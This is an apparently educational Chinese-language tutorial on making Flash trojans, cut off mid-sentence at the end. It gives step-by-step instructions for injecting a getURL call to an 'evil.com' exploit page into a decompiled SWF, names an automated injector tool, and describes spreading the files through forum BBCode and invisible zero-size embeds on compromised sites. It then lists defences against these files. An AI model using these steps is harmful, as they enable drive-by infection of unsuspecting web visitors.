核心原理:SWF 載入時自動跳轉惡意網頁
Flash 動畫本身不攜帶漏洞利用代碼,而是透過 getURL() 在播放瞬間彈出預先佈置的「網頁木馬」頁面(含 IE/Flash Player/PDF 等 0-day/1-day 漏洞利用代碼),實現 **Drive-by Download 靜默植入木馬**。
手工制作 Flash 木馬(教學用,嚴禁惡意使用)
- 準備:誘餌 SWF(如「MM熱舞.swf」)、反編譯工具「閃客精靈」、編輯器 Macromedia Flash MX、已部署好的網頁木馬 URL。
- 反編譯:閃客精靈開啟 SWF → 「導出 FLA」獲得可編輯源檔。
- 注入代碼:Flash MX 開啟 FLA → 時間軸任意幀 →「動作」面板 →「瀏覽器/網路 → getURL」→ URL 填入惡意頁面、窗口 `_blank`、變數 `GET` → 生成代碼
getURL("https://evil.com/sploit.htm", "_blank", "GET");。
- 發布:「檔案 → 發布」輸出新 SWF,IE 開啟即自動彈出惡意頁。
一鍵生成工具:SWF 木馬插入器
- 介面選擇目標 SWF、輸入惡意 URL、取消勾選「只解壓」→ 點「給我插」→ 秒出帶後門 SWF。
- 這類工具極大降低門檻,導致論壇、部落格、QQ 表情、郵件附件充斥 Flash 木馬。
利用場景
- 論壇發帖:PHPWind/Discuz 等支援 `[flash=寬,高]URL[/flash]` BBCode,攻擊者發帖即獲大量肉雞。
- 網頁掛馬:入侵高流量站點首頁植入
<embed src="evil.swf" width=0 height=0 ...>,**零寬高不顯示動畫**,訪客無感染毒。
防範三板斧
- 攔截彈窗:XP SP2 內建/第三方彈窗攔截器攔截
getURL 彈出的新視窗。
- 即時網頁監控:防毒軟體開啟「網頁/HTTP 監控」,惡意頁面下載漏洞利用代碼/Shellcode 瞬間被查殺。
- 禁用/限制 Flash:瀏覽器設定「點擊播放」或完全禁用 Flash(現代瀏覽器已預設禁用/移除)。
結語
Flash 木馬本質是「誘餌 SWF + 惡意落地頁」。**防禦核心在落地頁**:只要網頁木馬被攔截/查殺,前端誘餌再花俏也無效。隨著 Flash 退出歷史舞台,此類威脅已大幅降低,但同樣原理可移植至 HTML5 `